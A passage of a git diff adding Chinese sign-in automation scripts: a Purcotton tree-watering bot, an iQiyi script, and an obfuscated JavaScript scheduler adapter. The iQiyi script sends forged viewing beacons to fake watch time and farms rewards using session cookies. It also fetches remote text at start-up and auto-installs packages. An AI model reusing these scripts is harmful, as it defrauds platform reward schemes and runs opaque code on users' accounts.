print("请求失败,错误代码:", response_data.get("code"), "错误信息:", response_data.get("msg")) + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + + +def access_friend_detail(code, token, friend_user_id): + """访问朋友的详细信息,并尝试对其树进行浇水操作""" + url = "https://sg01.purcotton.com/api/friend/index" + headers = create_headers(code, token) + headers['friend-id'] = str(friend_user_id) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_data = response.json() + + if response_data.get("code") == 200: + tree_info = response_data.get('data', {}).get('tree', {}) + if isinstance(tree_info, list) and tree_info: + tree_info = tree_info[0] + + tree_id = tree_info.get('id') if isinstance(tree_info, dict) else None + help_water_info = response_data.get('data', {}).get('help_water', {}) + help_water_code = help_water_info.get('code') + help_water_msg = help_water_info.get('msg') + + #print(f"{friend_user_id}朋友树ID: {tree_id}, 帮忙浇水代码: {help_water_code}, 信息: '{help_water_msg}'") + + if tree_id is not None: + success = water_friend_tree(code, token, tree_id, friend_user_id) + if not success: + print(f"由于操作失败,停止处理朋友{friend_user_id}的后续操作。") + return False + else: + print(f"获取朋友{friend_user_id}的详细信息失败,错误代码: {response_data.get('code')}, 错误信息: {response_data.get('msg')}") + return False + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return False + + return True + +def water_friend_tree(code, token, tree_id, friend_user_id): + """执行给定朋友的树浇水操作""" + url = "https://sg01.purcotton.com/api/friend/water" + headers = create_headers(code, token) + payload = {"tree_user_id": tree_id} + headers['friend-id'] = str(friend_user_id) + + try: + response = requests.post(url, headers=headers, json=payload) + response.raise_for_status() + + response_data = response.json() + #print(response_data) # 打印整个响应体,用于调试 + + if response_data["code"] == 200: + # 检查response_data['data']是否为字典,以此判断是否可以安全访问'info' + if isinstance(response_data['data'], dict): + use_water = response_data['data']['info'].get('use_water', '未知') + reward_water = response_data['data']['info'].get('reward_water', '未知') + print(f"对树ID {tree_id} 的浇水操作成功: 使用水量: {use_water}, 奖励水量: {reward_water}") + else: + # 如果data不是字典,直接打印data字段,这里可能是错误消息或其他说明 + print(f"操作结果: {response_data['data']}") + return False + elif response_data["code"] == 400: + #print(f"{response_data.get('msg', '未知错误')}. 完整响应体: {response_data}") + print(f"{response_data.get('msg', '未知错误')}. ") + return False + else: + print(f"对树ID {tree_id} 的浇水操作响应: {response_data}") + return False + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return False + + return True + +def process_all_friends(friends_user_ids, code, token): + """遍历朋友列表,尝试对每个朋友的树进行浇水操作,并在首次失败时停止""" + for friend_user_id in friends_user_ids: + if not access_friend_detail(code, token, friend_user_id): + #print(f"由于操作失败,停止对所有后续朋友的处理。") + break # 遇到第一个失败,立即跳出循环 + + + +def main(): + var_name = 'qmzmh' + tokens = get_env_variable(var_name) + if not tokens: + return + + total_tokens = len(tokens) + + if total_tokens > 20: + print("账号数量超过20个,不执行操作。") + return + + + for index, token_info in enumerate(tokens, start=1): + parts = token_info.split('#') + if len(parts) < 2: + print("令牌格式不正确。跳过处理。") + continue + + code = parts[0] + token = parts[1] + remark = parts[2] if len(parts) > 2 else "" + print() + print(f"------账号{index}/{total_tokens},备注: {remark}-------") + + phone, user_id = login(code, token) + if phone and user_id: # 检查是否成功获取电话号码和用户ID + # 进行后续任务 + cscscs(code, token) + #sj_yg(code, token)#收集阳光 + #syyg(code, token)#使用阳光 + jscz(code, token) #浇水 + pdrw(code, token) #任务判断 + friend_user_ids = hyid(code, token) + if friend_user_ids: + process_all_friends(friend_user_ids, code, token) # 正确传入朋友ID列表 + else: + print("登录失败或获取用户信息失败,跳过当前账号的后续操作。") + + + +if __name__ == "__main__": + main() + +''' +def main(): + var_name = 'qmzmh' + tokens = get_env_variable(var_name) + if not tokens: + return + + total_tokens = len(tokens) + + if total_tokens > 20: + print("账号数量超过20个,不执行操作。") + return + + for index, token_info in enumerate(tokens, start=1): + parts = token_info.split('#') + if len(parts) < 2: + print("令牌格式不正确。跳过处理。") + continue + + code = parts[0] + token = parts[1] + remark = parts[2] if len(parts) > 2 else "" + + print(f"------账号{index}/{total_tokens},备注: {remark}-------") + + + login(code, token)#判断要手机号码/提取的电话号码: 才运行下面的任务 + cscscs(code, token)#更新 + #sj_yg(code, token)#收集阳光 + #syyg(code, token)#使用阳光 + jscz(code, token) #浇水 + pdrw(code, token) #任务判断 + friend_user_ids = hyid(code, token) + if friend_user_ids: + process_all_friends(friend_user_ids, code, token) # 正确传入朋友ID列表 + + + +if __name__ == "__main__": + main() +''' diff --git a/脚本库/微信小程序/抓包版/self.gift_list.appendgift_name/2025-06-28_爱奇艺_857e9674.py b/脚本库/微信小程序/抓包版/self.gift_list.appendgift_name/2025-06-28_爱奇艺_857e9674.py new file mode 100644 index 0000000..5948142 --- /dev/null +++ b/脚本库/微信小程序/抓包版/self.gift_list.appendgift_name/2025-06-28_爱奇艺_857e9674.py @@ -0,0 +1,387 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E5%A5%87%E8%89%BA.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E5%A5%87%E8%89%BA.py +# Repo: jdqlscript/toulu +# Path: 爱奇艺.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 857e96745c59151247fd475ff5a59f974c26d8d4fdac7db5e0938d1241378509 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +# @env : iqyck +# 功能:爱奇艺签到 刷观影时长 做任务领取奖励 +# ------------------------------- +""" +cookie为爱奇艺整个cookie +export iqyck = "cookie" +""" +from datetime import datetime +from hashlib import md5 as md5Encode +from json import dumps +from time import sleep, time +from os import environ, system, path +from random import randint, choice +from re import findall +from string import digits, ascii_lowercase, ascii_uppercase +from sys import exit, stdout +from uuid import uuid4 +import requests +response = requests.get("https://raw.githubusercontent.com/3288588344/toulu/main/tl.txt") +response.encoding = 'utf-8' +txt = response.text +print(txt) + +def load_send(): + cur_path = path.abspath(path.dirname(__file__)) + if path.exists(cur_path + "/notify.py"): + try: + from notify import send + return send + except ImportError: + return False + else: + return False + +try: + from requests import Session, get, post + from fake_useragent import UserAgent +except: + print( + "你还没有安装requests库和TL库_useragent库 正在尝试自动安装 请在安装结束后重新执行此脚本\n若还是提示本条消息 请自行运行pip3 install requests和pip3 install fake-useragent或者在青龙的依赖管理里安装python的requests和fake-useragent") + system("pip3 install fake-useragent") + system("pip3 install requests") + print("安装完成 脚本退出 请重新执行") + exit(0) +iqyck = environ.get("iqyck") if environ.get("iqyck") else "" +P00001 = P00003 = dfp = qyid = "" +if iqyck == "": + print("未找到iqy_ck,请填写iqy_ck变量") + exit(0) + +check_items = ["P00001", "P00003", "QC005", "__dfp"] + +for item in check_items: + try: + found = findall(rf"{item}=(.*?)(;|$)", iqyck) + + if found: + value = found[0][0] + + if item == "P00001": + P00001 = value + elif item == "P00003": + P00003 = value + elif item == "QC005": + qyid = value + elif item == "__dfp": + dfp = value + dfp = dfp.split("@")[0] + else: + print(f"{item}未在iqyck中找到") + except IndexError: + print(f"{item}存在但无法被正确解析") + +class IQiYi: + name = "爱奇艺" + def __init__(self): + self.P00001 = P00001 + self.userId = P00003 + self.dfp = dfp + self.qyid = qyid + self.platform = str(uuid4())[:16], + self.session = Session() + self.user_agent = UserAgent().chrome + self.headers = { + "User-Agent": self.user_agent, + "Cookie": f"P00001={self.P00001}", + 'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + 'sec-fetch-site': "none", + 'sec-fetch-dest': "document", + 'accept-language': "zh-CN,zh-Hans;q=0.9", + 'sec-fetch-mode': "navigate" + } + self.msg = "" + self.user_info = "" + self.task_info = "" + self.msg = "" + self.taskList = [] + self.lotteryList = [] + self.shakeLotteryList = [] + self.gift_list = [] + self.sleep_await = environ.get("sleep_await") if environ.get("sleep_await") else 1 + + """工具""" + def req(self, url, req_method="GET", body=None): + data = {} + method = req_method.upper() + if method not in ["GET", "POST", "OTHER"]: + self.print_now(f"错误:不支持的请求方法:{method}") + return + + try: + if method == "GET": + response = self.session.get(url, headers=self.headers, params=body) + elif method == "POST": + response = self.session.post(url, headers=self.headers, data=dumps(body)) + elif method == "OTHER": + response = self.session.get(url, headers=self.headers, params=dumps(body)) + + if method in ["GET", "POST"]: + data = response.json() + + except requests.exceptions.RequestException as e: + self.print_now(f"请求发送失败,可能为网络异常,异常详细信息:{str(e)}") + + return data + + def timestamp(self, short=False): + if (short): + return int(time()) + return int(time() * 1000) + + def md5(self, str): + m = md5Encode(str.encode(encoding='utf-8')) + return m.hexdigest() + + def uuid(self, num, upper=False): + str = '' + if upper: + for i in range(num): + str += choice(digits + ascii_lowercase + ascii_uppercase) + else: + for i in range(num): + str += choice(digits + ascii_lowercase) + return str + + def print_now(self, content): + print(content) + stdout.flush() + + def sign(self): + # lequ-qfe.iqiyi.com + time_stamp = self.timestamp() + data = f'agenttype=20|agentversion=15.5.5|appKey=lequ_rn|appver=15.5.5|authCookie={self.P00001}|qyid={self.qyid}|srcplatform=20|task_code=natural_month_sign|timestamp={time_stamp}|userId={self.userId}|cRcFakm9KSPSjFEufg3W' + url = f'https://community.iqiyi.com/openApi/task/execute?task_code=natural_month_sign×tamp={time_stamp}&appKey=lequ_rn&userId={self.userId}&authCookie={self.P00001}&agenttype=20&agentversion=15.5.5&srcplatform=20&appver=15.5.5&qyid={self.qyid}&sign={self.md5(data)}' + headers = { + 'Content-Type': 'application/json' + } + body = { + "natural_month_sign": { + "verticalCode": "iQIYI", + "agentVersion": "15.4.6", + "authCookie": self.P00001, + "taskCode": "iQIYI_mofhr", + "dfp": self.dfp, + "qyid": self.qyid, + "agentType": 20, + "signFrom": 1 + } + } + data = post(url, headers=headers, data=dumps(body)).json() + signDays = None + if 'code' in data and data['code'] == 'A0003': + self.print_now("iqyck已失效,请重新获取") + exit(0) + elif 'code' in data and data['code'] == 'A00000': + data_data = data.get('data', {}) + msg = data_data.get('msg') + + if data_data.get('data'): + signDays = data_data.get('data', {}).get('signDays') + if msg and '已经到达上限' in msg: + self.print_now(f"签到失败,今天已签到") + self.task_info += f"签到失败,今天已签到\n" + elif signDays is not None: + self.print_now(f"签到成功, 本月累计签到{signDays}天") + self.task_info += f"签到成功, 本月累计签到{signDays}天\n" + + if data_data['code'] != 'A0000' and data_data['code'] != 'A0014' and not (data_data.get('success')): + self.print_now(f"签到失败:{msg}") + self.task_info += f"签到失败:{msg}\n" + else: + self.print_now(f"签到失败:{data}") + self.task_info += f"签到失败:{data}\n" + + def get_watch_time(self): + url = "https://tc.vip.iqiyi.com/growthAgency/watch-film-duration" + data = self.req(url) + watch_time = data['data']['viewtime']['time'] + return watch_time + + def watchVideo(self): + totalTime = self.get_watch_time() + if totalTime >= 7200: + self.print_now(f"您的账号今日观影时长大于2小时,不执行刷观影时长") + self.task_info += f"今日观影任务已完成\n" + return + self.print_now("正在刷观影时长,为减少风控,本过程运行大概1个小时") + for i in range(1, 121): + Time = randint(70, 90) + url = f"https://msg.qy.net/b?u=f600a23f03c26507f5482e6828cfc6c5&pu={self.userId}&p1=1_10_101&v=5.2.66&ce={self.uuid(32)}&de=1616773143.1639632721.1639653680.29&c1=2&ve={self.uuid(32)}&ht=0&pt={randint(1000000000, 9999999999) / 1000000}&isdm=0&duby=0&ra=5&clt=&ps2=DIRECT&ps3=&ps4=&br=mozilla%2F5.0%20(windows%20nt%2010.0%3B%20win64%3B%20x64)%20applewebkit%2F537.36%20(khtml%2C%20like%20gecko)%20chrome%2F96.0.4664.110%20safari%2F537.36&mod=cn_s&purl=https%3A%2F%2Fwww.iqiyi.com%2Fv_1eldg8u3r08.html%3Fvfrm%3Dpcw_home%26vfrmblk%3D712211_cainizaizhui%26vfrmrst%3D712211_cainizaizhui_image1%26r_area%3Drec_you_like%26r_source%3D62%2540128%26bkt%3DMBA_PW_T3_53%26e%3Db3ec4e6c74812510c7719f7ecc8fbb0f%26stype%3D2&tmplt=2&ptid=01010031010000000000&os=window&nu=0&vfm=&coop=&ispre=0&videotp=0&drm=&plyrv=&rfr=https%3A%2F%2Fwww.iqiyi.com%2F&fatherid={randint(1000000000000000, 9999999999999999)}&stauto=1&algot=abr_v12-rl&vvfrom=&vfrmtp=1&pagev=playpage_adv_xb&engt=2&ldt=1&krv=1.1.85&wtmk=0&duration={randint(1000000, 9999999)}&bkt=&e=&stype=&r_area=&r_source=&s4={randint(100000, 999999)}_dianshiju_tbrb_image2&abtest=1707_B%2C1550_B&s3={randint(100000, 999999)}_dianshiju_tbrb&vbr={randint(100000, 999999)}&mft=0&ra1=2&wint=3&s2=pcw_home&bw=10&ntwk=18&dl={randint(10, 999)}.27999999999997&rn=0.{randint(1000000000000000, 9999999999999999)}&dfp={dfp}&stime={self.timestamp()}&r={randint(1000000000000000, 9999999999999999)}&hu=1&t=2&tm={Time}&_={self.timestamp()}" + self.req(url, 'other') + totalTime += Time + sleep(randint(30, 50)) + if i % 30 == 0: + self.print_now(f"现在已经刷到了{totalTime}秒, 数据同步有延迟, 仅供参考") + if totalTime >= 7200: + sleep(60) + self.print_now(f"今日观影任务已完成") + self.task_info += f"今日观影任务已完成\n" + break + + def dailyTask(self): + # 查询任务 + """ + status: 0 已完成,未领奖 1 已完成,已领奖 2 未完成 + """ + url = f'https://tc.vip.iqiyi.com/taskCenter/task/queryUserTask?P00001={self.P00001}' + data = self.req(url) + if data['code'] == 'A00000': + for item in data["data"].get("tasks", {}).get("daily", []): + if item["taskCode"] != "WatchVideo60mins" and item["status"] != 1: + self.taskList.append( + { + "taskTitle": item["taskTitle"], + "taskCode": item["taskCode"], + "status": item["status"] + } + ) + if self.taskList: + for item in self.taskList: + if item["status"] == 2: + # 领任务 + url = f'https://tc.vip.iqiyi.com/taskCenter/task/joinTask?P00001={self.P00001}&taskCode={item["taskCode"]}&platform={self.platform}&lang=zh_CN&app_lm=cn' + if self.req(url)['code'] == 'A00000': + sleep(10) + # 完成任务 + url = f'https://tc.vip.iqiyi.com/taskCenter/task/notify?taskCode={item["taskCode"]}&P00001={self.P00001}&platform={self.platform}&lang=cn&bizSource=component_browse_timing_tasks&_={self.timestamp()}' + if self.req(url)['code'] == 'A00000': + sleep(2) + if item["status"] == 2 or item["status"] == 0: + # 领取奖励 + url = f"https://tc.vip.iqiyi.com/taskCenter/task/getTaskRewards?P00001={self.P00001}&taskCode={item['taskCode']}&lang=zh_CN&platform={self.platform}" + data = self.req(url) + if data['code'] == 'A00000': + price = data['dataNew'][0]["value"] + self.print_now(f"{item['taskTitle']}任务已完成, 获得{int(price[1:])}点成长值") + self.task_info += f"{item['taskTitle']}任务已完成, 获得{int(price[1:])}点成长值\n" + sleep(5) + else: + self.print_now("今日日常浏览任务已全部完成") + self.task_info += "今日日常浏览任务已全部完成\n" + + def lottery(self): + url = "https://iface2.iqiyi.com/aggregate/3.0/lottery_activity" + lottery_params = { + "app_k": 0, + "app_v": 0, + "platform_id": 10, + "dev_os": 0, + "dev_ua": 0, + "net_sts": 0, + "qyid": self.qyid, + "psp_uid": self.userId, + "psp_cki": self.P00001, + "psp_status": 3, + "secure_v": 1, + "secure_p": 0, + "req_sn": self.timestamp() + } + params = lottery_params + data = self.req(url, "get", params) + if data.get("code") == 0: + daysurpluschance = int(data.get("daysurpluschance")) + if daysurpluschance == 0: + if self.lotteryList: + self.print_now(f"抽奖奖品:{'、'.join(self.lotteryList)}") + self.task_info += f"抽奖奖品:{'、'.join(self.lotteryList)}\n" + else: + self.print_now(f"抽奖次数已用完, 明日再来吧") + self.task_info += f"抽奖次数已用完, 明日再来吧\n" + else: + award_info = data.get("awardName") + self.lotteryList.append(award_info) + sleep(2) + self.lottery() + else: + self.print_now(f"抽奖接口请求失败:{data}\n") + + def shake_lottery(self): + url = f'https://act.vip.iqiyi.com/shake-api/lottery?P00001={self.P00001}&dfp={self.dfp}&qyid={self.qyid}&deviceID={self.qyid}&version=15.4.6&agentType=12&platform=bb35a104d95490f6&ptid=02030031010000000000&fv=afc0b50ed49e732d&source=afc0b50ed49e732d&_={self.timestamp()}&vipType=1&lotteryType=0&actCode=0k9GkUcjqqj4tne8&freeLotteryNum=3&extendParams={{"appIds":"iqiyi_pt_vip_iphone_video_autorenew_12m_348yuan_v2","supportSk2Identity":true,"testMode":"0","iosSystemVersion":"17.4.1","bundleId":"com.qiyi.iphone"}}' + data = self.req(url) + if data.get("code") == 'A00000': + award_info = data.get("data", {}).get("title") + self.shakeLotteryList.append(award_info) + sleep(2) + self.shake_lottery() + elif data.get("msg") == "抽奖次数用完": + if self.shakeLotteryList: + self.print_now(f"每天摇一摇奖品:{'、'.join(self.shakeLotteryList)}") + self.task_info += f"每天摇一摇奖品:{'、'.join(self.shakeLotteryList)}\n" + else: + self.print_now(f"每天摇一摇次数已用完, 明日再来吧") + self.task_info += f"每天摇一摇次数已用完, 明日再来吧\n" + else: + self.print_now(f'每天摇一摇:{data.get("msg")}\n') + + def giveTimes(self): + times_code_list = ["browseWeb", "browseWeb", "bookingMovie"] + for times_code in times_code_list: + url = f"https://pcell.iqiyi.com/lotto/giveTimes?dfp&qyid={self.qyid}&version&deviceId={self.qyid}&_cctimer={self.timestamp()}&actCode=bcf9d354bc9f677c×Code={times_code}&P00001={self.P00001}" + data = self.req(url) + + def queryTimes(self): + url = f"https://pcell.iqiyi.com/lotto/queryTimes?dfp&qyid={self.qyid}&version&deviceId={self.qyid}&_cctimer={self.timestamp()}&actCode=bcf9d354bc9f677c&P00001={self.P00001}" + data = self.req(url) + if data.get("code") == 'A00000': + times = data["data"]["times"] + return times + + def lotto_lottery(self): + self.giveTimes() + times = self.queryTimes() + if times == 0: + self.print_now(f"白金抽奖次数已用完, 明日再来吧") + self.task_info += f"白金抽奖次数已用完, 明日再来吧" + for _ in range(times): + url = f"https://pcell.iqiyi.com/lotto/lottery?dfp&qyid={self.qyid}&version&deviceId={self.qyid}&_cctimer={self.timestamp()}&actCode=bcf9d354bc9f677c&P00001={self.P00001}" + data = self.req(url) + gift_name = data["data"]["giftName"] + if gift_name and "未中奖" not in gift_name: + self.gift_list.append(gift_name) + if self.gift_list: + self.print_now(f"白金抽奖奖品:{'、'.join(self.gift_list)}") + self.task_info += f"白金抽奖奖品:{'、'.join(self.gift_list)}" + elif times != 0: + self.print_now(f"很遗憾,白金抽奖未中奖") + self.task_info += f"很遗憾,白金抽奖未中奖" + + def get_userinfo(self): + url = f"https://tc.vip.iqiyi.com/growthAgency/v2/growth-aggregation?messageId=b7d48dbba64c4fd0f9f257dc89de8e25&platform=97ae2982356f69d8&P00001={self.P00001}&responseNodes=duration,growth,upgrade,viewTime,growthAnnualCard&_={self.timestamp()}" + data = self.req(url) + growth_info = data['data']['growth'] + if data.get("code") == 'A00000': + self.user_info += f"用户昵称:{ data['data']['user']['nickname']}\nVIP等级:{growth_info['level']}\nVIP到期时间:{growth_info['deadline']}\n今日成长:{growth_info['todayGrowthValue']}\n当前成长:{growth_info['growthvalue']}\n升级还需:{growth_info['distance']}\n" + else: + self.user_info = f"查询失败,未获取到用户信息\n" + + def main(self): + self.sign() + self.watchVideo() + self.dailyTask() + self.lottery() + self.shake_lottery() + self.lotto_lottery() + self.print_now(f"任务已经执行完成,因爱奇艺观影时间同步较慢,这里等待1分钟再查询今日成长值信息\n若不需要等待直接查询,请设置环境变量名 sleep_await = 0") + if int(self.sleep_await) == 1: + sleep(60) + self.get_userinfo() + self.msg = self.user_info + self.task_info + send = load_send() + if callable(send): + send("爱奇艺", self.msg) + else: + print('\n加载通知服务失败') + +if __name__ == '__main__': + iqiyi = IQiYi() + iqiyi.main() \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js b/脚本库/微信小程序/抓包版/steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js new file mode 100644 index 0000000..abaec11 --- /dev/null +++ b/脚本库/微信小程序/抓包版/steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js @@ -0,0 +1,647 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/streamrank.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/streamrank.js +// # Repo: imoki/sign_script +// # Path: polymerization/streamrank.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 34d2cdec035cfcd5362b92be3983a08342f218868048f203a58ed85522258e12 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* + name: "steam游戏在线人数" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:steamrank + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "steamrank"; // 分配置表名称, (修改这里) +var pushHeader = "【steam游戏在线人数】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var 